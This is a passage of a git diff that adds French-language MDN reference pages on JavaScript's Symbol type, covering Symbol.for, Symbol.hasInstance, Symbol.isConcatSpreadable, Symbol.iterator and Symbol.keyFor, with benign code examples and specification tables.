+Symbol.for("toto"); // renvoie le symbole déjà existant
+
+// Globalement on a un symbole par clé, localement non
+Symbol.for("machin") === Symbol.for("machin"); // true
+Symbol("machin") === Symbol("machin"); // false
+
+// La clé sert également de description
+var sym = Symbol.for("mario");
+sym.toString(); // "Symbol(mario)"
+</pre>
+
+<p>Afin d'éviter des conflits entre les clés des symboles globaux liés à votre application et les autres symboles potentiels (bibliothèques externes, etc...), il peut être judicieux de les préfixer :</p>
+
+<pre class="brush: js">Symbol.for("mdn.toto");
+Symbol.for("mdn.machin");
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-symbol.for', 'Symbol.for')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-symbol.for', 'Symbol.for')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.Symbol.for")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Symbol.keyFor()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/symbol/hasinstance/index.html b/files/fr/web/javascript/reference/objets_globaux/symbol/hasinstance/index.html
new file mode 100644
index 0000000000..5616d20bda
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/symbol/hasinstance/index.html
@@ -0,0 +1,65 @@
+---
+title: Symbol.hasInstance
+slug: Web/JavaScript/Reference/Objets_globaux/Symbol/hasInstance
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Propriété
+  - Reference
+  - Symbol
+translation_of: Web/JavaScript/Reference/Global_Objects/Symbol/hasInstance
+---
+<div>{{JSRef}}</div>
+
+<p>Le symbole « connu » <strong><code>Symbol.hasInstance</code></strong> est utilisé afin de déterminer si un objet constructeur reconnaît un objet comme une de ses instances. On peut donc adapter/personnaliser le comportement de l'opérateur {{jsxref("Opérateurs/instanceof", "instanceof")}} grâce à ce symbole.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/symbol-hasinstance.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<div>{{js_property_attributes(0,0,0)}}</div>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>On peut implémenter un comportement différent pour <code>instanceof</code> de cette façon :</p>
+
+<pre class="brush: js">class MonArray {
+  static [Symbol.hasInstance](instance) {
+    return Array.isArray(instance);
+  }
+}
+console.log([] instanceof MonArray); // true</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-symbol.hasinstance', 'Symbol.hasInstance')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-symbol.hasinstance', 'Symbol.hasInstance')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.Symbol.hasInstance")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Opérateurs/instanceof", "instanceof")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/symbol/index.html b/files/fr/web/javascript/reference/objets_globaux/symbol/index.html
new file mode 100644
index 0000000000..6a0451f87b
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/symbol/index.html
@@ -0,0 +1,229 @@
+---
+title: Symbol
+slug: Web/JavaScript/Reference/Objets_globaux/Symbol
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Reference
+  - Symbol
+translation_of: Web/JavaScript/Reference/Global_Objects/Symbol
+---
+<div>{{JSRef}}</div>
+
+<p>Un<strong> symbole</strong> est un <a href="/fr/docs/Web/JavaScript/Structures_de_données#Les_valeurs_primitives">type de données primitif</a> représentant une donnée unique et inchangeable qui peut être utilisée afin de représenter des identifiants pour des propriétés d'un objet. L'objet <code>Symbol</code> est un conteneur objet implicite pour le {{Glossary("Primitive", "type de données primitif")}} symbole.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/symbol-constructor.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">Symbol([<var>description</var>])</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>description</code> {{optional_inline}}</dt>
+ <dd>Une chaîne de caractères optionnelle. Correspond à une description du symbole, elle peut être utile pour déboguer (mais pas pour accéder au symbole).</dd>
+</dl>
+
+<h2 id="Description">Description</h2>
+
+<p>Pour créer un nouveau symbole, il suffit d'appeler <code>Symbol()</code>, éventuellement avec une chaîne de caractère descriptive :</p>
+
+<pre class="brush: js">var sym1 = Symbol();
+var sym2 = Symbol("toto");
+var sym3 = Symbol("toto");
+</pre>
+
+<p>Le fragment de code ci-dessus permet de créer trois nouveaux symboles. On notera que l'instruction <code>Symbol("toto")</code> ne convertit pas la chaîne "toto" en un symbole. On crée bien un nouveau symbole pour chaque instruction ci-avant.</p>
+
+<pre class="brush: js">Symbol("toto") === Symbol("toto"); // false</pre>
+
+<p>La syntaxe suivante, utilisant l'opérateur {{jsxref("Opérateurs/L_opérateur_new", "new")}}, entraînera une exception {{jsxref("TypeError")}}:</p>
+
+<pre class="brush: js">var sym = new Symbol(); // TypeError</pre>
+
+<p>Cela est fait pour empêcher d'écrire un conteneur (<em>wrapper</em>) explicite de <code>Symbol</code> plutôt qu'une nouvelle valeur, cela peut être surprenant car généralement, on peut créer des objets « autour » de types primitifs (par exemple avec <code>new Boolean</code>, <code>new String</code> et <code>new Number</code>).</p>
+
+<p>Si on souhaite obtenir un object contenant un symbole, on pourra toujours utiliser la fonction <code>Object()</code> :</p>
+
+<pre class="brush: js">var sym = Symbol("toto");
+typeof sym;     // "symbol"
+var symObj = Object(sym);
+typeof symObj;  // "object"</pre>
+
+<h3 id="Symboles_partagés_et_registre_global_des_symboles">Symboles partagés et registre global des symboles</h3>
+
+<p>La syntaxe manipulée ci-avant, utilisant la fonction <code>Symbol()</code>, ne crée pas un symbole global, disponible partout dans votre code. Pour créer des symboles qui soient disponibles pour différents fichiers et appartiennent à l'environnement global, il faut utiliser les méthodes {{jsxref("Symbol.for()")}} et {{jsxref("Symbol.keyFor()")}} afin de définir et de récupérer les symboles listés dans le registre global.</p>
+
+<h3 id="Trouver_les_propriétés_identifiées_par_des_symboles_pour_un_objet">Trouver les propriétés identifiées par des symboles pour un objet</h3>
+
+<p>La méthode {{jsxref("Object.getOwnPropertySymbols()")}} renvoie un tableau de symboles, permettant ainsi de connaître les propriétés identifiées par un symbole pour un objet donné. À l'initialisation, un objet ne contient aucune propriété propre identifiée par un symbole, ce tableau sera donc vide jusqu'à ce qu'une propriété, identifiée par un symbole, lui soit ajoutée.</p>
+
+<h3 id="Les_symboles_et_les_conversions">Les symboles et les conversions</h3>
+
+<p>Lorsqu'on utilise des mécanismes de conversion de types avec les symboles, on aura le comportement suivant :</p>
+
+<ul>
+ <li>Lorsqu'on tente de convertir un symbole en un nombre, cela provoquera une exception {{jsxref("TypeError")}} (par exemple avec <code>+sym</code> ou <code>sym | 0</code>).</li>
+ <li>L'égalité faible permet d'obtenir <code>true</code> avec <code>Object(sym) == sym</code><code>.</code></li>
+ <li><code>Symbol("toto") + "truc" </code>lève une exception {{jsxref("TypeError")}} (le symbole ne peut pas être converti en une chaîne de caractères), cela permet par exemple d'éviter de créer (sans s'en rendre compte) des noms de propriétés basés sur des symboles.</li>
+ <li>La méthode utilisant la conversion avec {{jsxref("String","String()")}} fonctionnera comme un appel à {{jsxref("Symbol.prototype.toString()")}}. En revanche, <code>new String(sym)</code> renverra une erreur.</li>
+</ul>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<dl>
+ <dt><code>Symbol.length</code></dt>
+ <dd>La propriété length dont la valeur est 0.</dd>
+ <dt>{{jsxref("Symbol.prototype")}}</dt>
+ <dd>Cette propriété représente le prototype du constructeur <code>Symbol</code>.</dd>
+</dl>
+
+<h3 id="Symboles_connus">Symboles connus</h3>
+
+<p>En plus des symboles que vous pouvez créer, JavaScript possède certains symboles natifs représentant des aspects internes du langages qui, pour ECMAScript 5 et les versions précédentes, n'étaient pas exposées aux développeurs. Il est possible d'accéder à ces symboles en utilisant les propriétés suivantes :</p>
+
+<h4 id="Symboles_ditération">Symboles d'itération</h4>
+
+<dl>
+ <dt>{{jsxref("Symbol.iterator")}}</dt>
+ <dd>Une méthode qui renvoie l'itérateur par défaut d'un objet. Ce symbole est utilisé par la boucle {{jsxref("Instructions/for...of","for...of")}}.</dd>
+ <dt>{{jsxref("Symbol.asyncIterator")}}</dt>
+ <dd>Une méthode qui renvoie l'itérateur asynchrone par défaut d'un objet. Ce symbole est utilisé par la boucle <code><a href="/fr/docs/Web/JavaScript/Reference/Instructions/for-await...of">for await...of</a></code>.</dd>
+</dl>
+
+<h4 id="Symboles_liés_aux_expressions_rationnelles">Symboles liés aux expressions rationnelles</h4>
+
+<dl>
+ <dt>{{jsxref("Symbol.match")}}</dt>
+ <dd>Une méthode qui fait correspondre une expression rationnelle avec une chaîne de caractères. Elle est aussi utilisée pour déterminer si un objet peut être utilisé comme une expression rationnelle.</dd>
+ <dt>{{jsxref("Symbol.matchAll")}}</dt>
+ <dd>Une méthode qui renvoie un itérateur permettant de parcourir l'ensemble des correspondances entre une chaîne de caractères et une expression rationnelle. Ce symbole est utilisé par {{jsxref("String.prototype.matchAll()")}}.</dd>
+ <dt>{{jsxref("Symbol.replace")}}</dt>
+ <dd>Une méthode qui remplace les sous-chaînes correspondantes dans une chaîne de caractères. Utilisée par {{jsxref("String.prototype.replace()")}}.</dd>
+ <dt>{{jsxref("Symbol.search")}}</dt>
+ <dd>Une méthode qui renvoie l'indice d'une chaîne de caractères pour lequel on a une correspondance avec une expression rationnelle. Utilisée par {{jsxref("String.prototype.search()")}}.</dd>
+ <dt>{{jsxref("Symbol.split")}}</dt>
+ <dd>Une méthode qui découpe la chaîne à l'indice donné par la correspondance avec une expression rationnelle. Utilisée par {{jsxref("String.prototype.split()")}}.</dd>
+</dl>
+
+<h4 id="Autres_symboles">Autres symboles</h4>
+
+<dl>
+ <dt>{{jsxref("Symbol.hasInstance")}}</dt>
+ <dd>Une méthode qui permet de déterminer si un constructeur reconnaît un objet comme son instance. Utilisé par {{jsxref("Opérateurs/instanceof", "instanceof")}}.</dd>
+ <dt>{{jsxref("Symbol.isConcatSpreadable")}}</dt>
+ <dd>Une valeur booléenne qui indique si un objet devrait être réduit à la concaténation des éléments de son tableau via  {{jsxref("Array.prototype.concat()")}}.</dd>
+ <dt>{{jsxref("Symbol.unscopables")}}</dt>
+ <dd>Un objet dont les noms des propriétés propres et héritées sont exclues de l'objet associé lors de l'utilisation de <code><a href="/fr/docs/Web/JavaScript/Reference/Instructions/with">with</a></code>.</dd>
+ <dt>{{jsxref("Symbol.species")}}</dt>
+ <dd>Un constructeur utilisé pour construire des objets dérivés.</dd>
+ <dt>{{jsxref("Symbol.toPrimitive")}}</dt>
+ <dd>Spécifié comme @@toPrimitive. Une méthode qui convertit un objet en sa valeur primitive.</dd>
+ <dt>{{jsxref("Symbol.toStringTag")}}</dt>
+ <dd>Spécifié comme @@toStringTag. Une chaîne de caractères utilisée pour la description d'un objet. Ce symbole est utilisé par {{jsxref("Object.prototype.toString()")}}.</dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<dl>
+ <dt>{{jsxref("Symbol.for()", "Symbol.for(key)")}}</dt>
+ <dd>Recherche parmi les symboles existants un symbole désigné par cette clé. S'il est trouvé, le symbole est renvoyé, sinon un nouveau symbole est créé et enregistré avec cette clé dans le registre global des symboles.</dd>
+ <dt>{{jsxref("Symbol.keyFor", "Symbol.keyFor(sym)")}}</dt>
+ <dd>Pour un symbole donné, récupère la clé d'un symbole partagé depuis le registre global.</dd>
+</dl>
+
+<h2 id="Prototype_Symbol">Prototype <code>Symbol</code></h2>
+
+<p>Tous les symboles héritent de {{jsxref("Symbol.prototype")}}.</p>
+
+<h3 id="Propriétés_2">Propriétés</h3>
+
+<p>{{page('fr/docs/Web/JavaScript/Reference/Objets_globaux/Symbol/prototype','Propri.C3.A9t.C3.A9s')}}</p>
+
+<h3 id="Méthodes_2">Méthodes</h3>
+
+<p>{{page('fr/docs/Web/JavaScript/Reference/Objets_globaux/Symbol/prototype','M.C3.A9thodes')}}</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_lopérateur_typeof_avec_des_symboles">Utiliser l'opérateur <code>typeof</code> avec des symboles</h3>
+
+<p>L'opérateur {{jsxref("Opérateurs/L_opérateur_typeof", "typeof")}} permet d'identifier des symboles :</p>
+
+<pre class="brush: js">typeof Symbol() === 'symbol'
+typeof Symbol('toto') === 'symbol'
+typeof Symbol.iterator === 'symbol'
+</pre>
+
+<h3 id="Les_symboles_et_les_boucles_for...in">Les symboles et les boucles <code>for...in</code></h3>
+
+<p>Les symboles ne peuvent pas être énumérés dans les boucles <a href="/fr/docs/JavaScript/Reference/Instructions/for...in"><code>for...in</code></a>. De plus, la méthode {{jsxref("Object.getOwnPropertyNames()")}} ne renverra pas les propriétés identifiées par des symboles. La méthode {{jsxref("Object.getOwnPropertySymbols()")}} permet d'avoir accès à ces propriétés.</p>
+
+<pre class="brush: js">var obj = {};
+
+obj[Symbol("a")] = "a";
+obj[Symbol.for("b")] = "b";
+obj["c"] = "c";
+obj.d = "d";
+
+for (var i in obj) {
+   console.log(i); // enregistre "c" et "d"
+}</pre>
+
+<h3 id="Les_symboles_et_JSON.stringify">Les symboles et <code>JSON.stringify()</code></h3>
+
+<p>Les propriétés identifiées par des symboles seront totalement ignorées par <code>JSON.stringify()</code>:</p>
+
+<pre class="brush: js">JSON.stringify({[Symbol("toto")]: "toto"});
+// '{}'</pre>
+
+<p>Pour plus de détails, voir la page {{jsxref("JSON.stringify()")}}.</p>
+
+<h3 id="Utiliser_les_symboles_enveloppés_dans_un_objet">Utiliser les symboles enveloppés dans un objet</h3>
+
+<p>Lors qu'on on utilise un objet pour contenir la valeur du symbole et faire référence à une propriété, l'objet sera ramené au symbole d'origine :</p>
+
+<pre class="brush: js">var sym = Symbol("toto")
+var obj = {[sym]: 1};
+obj[sym];              // 1
+obj[Object(sym)];      // toujours 1</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-symbol-objects', 'Symbol')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-symbol-objects', 'Symbol')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.Symbol")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{Glossary("Symbole","Le type de données Symbol dans le glossaire")}}</li>
+ <li>{{jsxref("Opérateurs/L_opérateur_typeof", "typeof")}}</li>
+ <li><a href="/fr/docs/Web/JavaScript/Structures_de_données">Les types de données et les structures de données</a></li>
+ <li><a href="https://tech.mozfr.org">L'article ES6 en détails sur les symboles disponible sur tech.mozfr.org</a></li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/symbol/isconcatspreadable/index.html b/files/fr/web/javascript/reference/objets_globaux/symbol/isconcatspreadable/index.html
new file mode 100644
index 0000000000..89046c2290
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/symbol/isconcatspreadable/index.html
@@ -0,0 +1,110 @@
+---
+title: Symbol.isConcatSpreadable
+slug: Web/JavaScript/Reference/Objets_globaux/Symbol/isConcatSpreadable
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Propriété
+  - Reference
+  - Symbol
+translation_of: Web/JavaScript/Reference/Global_Objects/Symbol/isConcatSpreadable
+---
+<div>{{JSRef}}</div>
+
+<p>Le symbole connu <strong><code>Symbol.isConcatSpreadable</code></strong> est utilisé pour configurer la façon dont un tableau est aplati lors d'une concaténation via la méthode  {{jsxref("Array.prototype.concat()")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/symbol-isconcatspreadable.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Description">Description</h2>
+
+<p>Le symbole <code>@@isConcatSpreadable</code> (<code>Symbol.isConcatSpreadable</code>) peut être défini comme une propriété propre ou héritée. C'est une valeur booléenne qui contrôle le comportement des tableaux et des objets semblables à des tableaux :</p>
+
+<ul>
+ <li>Pour les tableaux, <code>concat</code> aplatira les tableaux par défaut. <code>Symbol.isConcatSpreadable</code> peut être utilisé pour obtenir le comportement opposé.</li>
+ <li>Pour les objets semblables à des tableaux, par défaut, il n'y aucune mise à plat. <code>Symbol.isConcatSpreadable</code> permet de forcer cette mise à plat.</li>
+</ul>
+
+<p>{{js_property_attributes(0,0,0)}}</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Tableaux_(Array)">Tableaux (<code>Array</code>)</h3>
+
+<p>Par défaut, {{jsxref("Array.prototype.concat()")}} aplatit les tableaux pour le résultat de la concaténation :</p>
+
+<pre class="brush: js">var alpha = ['a', 'b', 'c'],
+    numérique = [1, 2, 3];
+
+var alphaNumérique = alpha.concat(numérique);
+
+console.log(alphaNumérique);
+// Résultat : ['a', 'b', 'c', 1, 2, 3]
+</pre>
+
+<p>En définissant <code>Symbol.isConcatSpreadable</code> avec <code>false</code>, on peut désactiver le comportement par défaut :</p>
+
+<pre class="brush: js">var alpha = ['a', 'b', 'c'],
+    numérique = [1, 2, 3];
+
+numérique[Symbol.isConcatSpreadable] = false;
+var alphaNumérique = alpha.concat(numérique);
+
+console.log(alphaNumérique);
+// Résultat: ['a', 'b', 'c', [1, 2, 3] ]
+</pre>
+
+<h3 id="Objets_semblables_à_des_tableaux">Objets semblables à des tableaux</h3>
+
+<p>Pour les objets semblables à un tableau, par défaut, il n'y a pas de fusion. Il faut donc que <code>Symbol.isConcatSpreadable</code> vaille <code>true</code> pour aplatir le tableau :</p>
+
+<pre class="brush: js">var x = [1, 2, 3];
+
+var fauxTableau = {
+  [Symbol.isConcatSpreadable]: true,
+  length: 2,
+  0: "coucou",
+  1: "monde"
+}
+
+x.concat(fauxTableau); // [1, 2, 3, "coucou", "monde"]
+</pre>
+
+<div class="note">
+<p><strong>Note :</strong> La propriété <code>length</code> indique ici le nombre de propriétés à ajouter au tableau.</p>
+</div>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-symbol.isconcatspreadable', 'Symbol.isconcatspreadable')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-symbol.isconcatspreadable', 'Symbol.isconcatspreadable')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td>Aucune modification.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.Symbol.isConcatSpreadable")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.concat()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/symbol/iterator/index.html b/files/fr/web/javascript/reference/objets_globaux/symbol/iterator/index.html
new file mode 100644
index 0000000000..b2752e1efa
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/symbol/iterator/index.html
@@ -0,0 +1,122 @@
+---
+title: Symbol.iterator
+slug: Web/JavaScript/Reference/Objets_globaux/Symbol/iterator
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Propriété
+  - Reference
+  - Symbol
+translation_of: Web/JavaScript/Reference/Global_Objects/Symbol/iterator
+---
+<div>{{JSRef}}</div>
+
+<p>Le symbole <code><strong>Symbol.iterator</strong></code> définit l'itérateur par défaut d'un objet. C'est l'itérateur qui sera utilisé par <a href="/fr/docs/Web/JavaScript/Reference/Instructions/for...of"><code>for...of</code></a>.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/symbol-iterator.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Description">Description</h2>
+
+<p>Lorsqu'on doit itérer sur un objet (par exemple avec une boucle <code>for..of</code>), sa méthode <code>@@iterator</code> est appelée sans argument et l'itérateur renvoyé par la méthode est utilisé pour récupérer les valeurs sur lesquelles itérer.</p>
+
+<p>Certains types natifs possèdent un comportement par défaut pour l'itération, d'autres types (tels qu'{{jsxref("Object")}}) n'ont pas de tel comportement. Les types natifs qui disposent d'une méthode <code>@@iterator</code> sont :</p>
+
+<ul>
+ <li>{{jsxref("Array.@@iterator", "Array.prototype[@@iterator]()")}}</li>
+ <li>{{jsxref("TypedArray.@@iterator", "TypedArray.prototype[@@iterator]()")}}</li>
+ <li>{{jsxref("String.@@iterator", "String.prototype[@@iterator]()")}}</li>
+ <li>{{jsxref("Map.@@iterator", "Map.prototype[@@iterator]()")}}</li>
+ <li>{{jsxref("Set.@@iterator", "Set.prototype[@@iterator]()")}}</li>
+</ul>
+
+<p>Pour plus d'informations, voir aussi <a href="/fr/docs/Web/JavaScript/Reference/Les_protocoles_iteration">la page sur les protocoles d'itération</a>.</p>
+
+<p>{{js_property_attributes(0,0,0)}}</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Itérables_définis_par_l'utilisateur">Itérables définis par l'utilisateur</h3>
+
+<p>Il est possible de construire un itérable de la façon suivante :</p>
+
+<pre class="brush: js">var monItérable = {}
+monItérable[Symbol.iterator] = function* () {
+    yield 1;
+    yield 2;
+    yield 3;
+};
+[...monItérable] // [1, 2, 3]
+</pre>
+
+<p>On peut également définir ces itérables via des propriétés calculées dans des déclarations de classe ou dans des littéraux objets :</p>
+
+<pre class="brush: js">class Toto {
+  *[Symbol.iterator] () {
+    yield 1;
+    yield 2;
+    yield 3;
+  }
+}
+
+const monObj = {
+  *[Symbol.iterator] () {
+    yield "a";
+    yield "b";
+  }
+}
+
+[... new Toto] // [1, 2, 3]
+[... monObj]   // ["a", "b"]
+</pre>
+
+<h3 id="Itérables_mal-formés">Itérables mal-formés</h3>
+
+<p>Si la méthode <code>@@iterator</code> d'un itérable ne renvoie pas un itérateur, on dira que c'est un itérable mal-formé. Utiliser un tel itérable peut provoquer des erreurs lors de l'exécution :</p>
+
+<pre class="brush: js">var itérableMalFormé = {}
+itérableMalFormé[Symbol.iterator] = () =&gt; 1
+[...itérableMalFormé] // TypeError: [] is not a function
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-symbol.iterator', 'Symbol.iterator')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-symbol.iterator', 'Symbol.iterator')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.Symbol.iterator")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/JavaScript/Reference/Les_protocoles_iteration">Les protocoles d'itération</a></li>
+ <li>{{jsxref("Array.@@iterator", "Array.prototype[@@iterator]()")}}</li>
+ <li>{{jsxref("TypedArray.@@iterator", "TypedArray.prototype[@@iterator]()")}}</li>
+ <li>{{jsxref("String.@@iterator", "String.prototype[@@iterator]()")}}</li>
+ <li>{{jsxref("Map.@@iterator", "Map.prototype[@@iterator]()")}}</li>
+ <li>{{jsxref("Set.@@iterator", "Set.prototype[@@iterator]()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/symbol/keyfor/index.html b/files/fr/web/javascript/reference/objets_globaux/symbol/keyfor/index.html
new file mode 100644
index 0000000000..ea2e095f88
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/symbol/keyfor/index.html
@@ -0,0 +1,80 @@
+---
+title: Symbol.keyFor()
+slug: Web/JavaScript/Reference/Objets_globaux/Symbol/keyFor
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Méthode
+  - Reference
+  - Symbol
+translation_of: Web/JavaScript/Reference/Global_Objects/Symbol/keyFor
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>Symbol.keyFor(sym)</strong></code> permet de récupérer la clé d'un symbole donné qui est partagé via le registre global des symboles.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/symbol-keyfor.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">Symbol.keyFor(<var>sym</var>);</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>sym</code></dt>
+ <dd>Le symbole dont on souhaite connaître la clé. Ce paramètre est obligatoire.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Une chaîne de caractères qui représente la clé d'un symbole donné si celui-ci est trouvé dans le registre global ou {{jsxref("undefined")}} sinon.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">var symboleGlobal = Symbol.for("toto"); // on crée un symbole global
+Symbol.keyFor(symboleGlobal); // "toto"
+
+var symboleLocal = Symbol();
+Symbol.keyFor(symboleLocal); // undefined
+
+// les symboles connus ne sont pas dans le registre
+// global
+Symbol.keyFor(Symbol.iterator); // undefined
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-symbol.keyfor', 'Symbol.keyFor')}}</td>
